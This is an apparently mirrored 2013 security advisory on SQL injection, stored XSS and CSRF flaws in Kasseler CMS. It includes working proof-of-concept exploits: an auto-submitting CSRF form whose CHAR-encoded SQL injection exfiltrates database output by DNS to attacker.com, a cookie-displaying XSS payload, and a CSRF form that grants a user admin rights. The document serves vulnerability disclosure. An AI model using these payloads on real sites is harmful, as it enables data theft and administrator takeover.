Lucene search

K
htbridgeHigh-Tech BridgeHTB23158
HistoryMay 29, 2013 - 12:00 a.m.

Multiple Vulnerabilities in Kasseler CMS

2013-05-2900:00:00
High-Tech Bridge
www.htbridge.com
31

0.006 Low

EPSS

Percentile

79.1%

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in Kasseler CMS, which can be exploited to perform SQL injection, Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF) attacks and compromise vulnerable application.

  1. SQL Injection in Kasseler CMS: CVE-2013-3727
    The vulnerability exists due to insufficient validation of β€œgroups” HTTP POST parameter passed to β€œ/admin.php” script. A remote authenticated administrator can execute arbitrary SQL commands in application’s database.

This vulnerability could also be exploited by a remote non-authenticated attacker via CSRF vector, since the application is prone to Cross-Site Request Forgery (CSRF) attacks. In order to do so an attacker should trick logged-in administrator to visit a webpage with CSRF exploit.
Basic CSRF exploit code below is based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows platform. It will send a DNS request demanding IP addess for version() (or any other sensetive output from the database) subdomain of β€œ.attacker.com” (a domain name, DNS server of which is controlled by the attacker):
<form action=β€œhttp://[host]/admin.php?module=sendmail&do=send " method=β€œpost” name=β€œmain”>
<input type=β€œhidden” name=β€œtitle” value=β€œ1”>
<input type=β€œhidden” name=β€œmessage” value=β€œ1”>
<input type=β€œhidden” name=β€œattache_page” value=β€œ1”>
<input type=β€œhidden” name=β€œgroups[]” value=β€œ123) OR 1=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107) ,CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102 ),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))) – β€œ>
<input type=β€œhidden” name=”” value=β€β€œ>
<input type=β€œhidden” name=”" value=β€œβ€>
<input type=β€œsubmit” id=β€œbtn”>
</form>
<script>
document.main.submit();
</script>

  1. Stored Cross-Site Scripting (XSS) in Kasseler CMS: CVE-2013-3728
    The vulnerability exists due to insufficient filtration of β€œcat” HTTP POST parameter passed to β€œ/admin.php” script. A remote attacker with privileges to create categories can permanently inject arbitrary HTML and script code into application database that will be executed in browser of every website visitor.
    The following PoC code displays user’s cookies using JavaScript β€˜alert()’ function:
    <form action=β€œhttp://[host]/admin.php?module=forum&do=admin_new_category " method=β€œpost” name=β€œmain”>
    <input type=β€œhidden” name=β€œcat” value=”<script>alert(document.cookie);</script>">
    <input type=β€œsubmit” id=β€œbtn”>
    </form>
    <script>
    document.main.submit();
    </script>

  2. Π‘ross-Site Request Forgery (CSRF) in Kasseler CMS: CVE-2013-3729
    The vulnerability exists due to absence of CSRF protection mechanisms in the entire application. A remote attacker can trick logged-in administrator to visit a specially crafted webpage with CSRF exploit code. This will enable the attacker to execute arbitrary SQL queries in application’s database and gain complete control over the application.
    The following CSRF exploit code will grant administrative privileges to user with ID=2:
    <form action="http://[host]/admin.php?module=database&do=sql_query " method=β€œpost” name=β€œmain”>
    <input type=β€œhidden” name=β€œquery” value=β€œUPDATE kasseler.kasseler_users SET user_level = β€˜2’, user_group = β€˜1’ WHERE kasseler_users.uid =2 LIMIT 1 ;”>
    <input type=β€œsubmit” id=β€œbtn”>
    </form>
    <script>
    document.main.submit();
    </script>

Registration is open by default, and the attacker can easily get his user ID user from the profile page:
http://[host]/index.php?module=account&do=user&id=2

CPENameOperatorVersion
kasseler cmsle2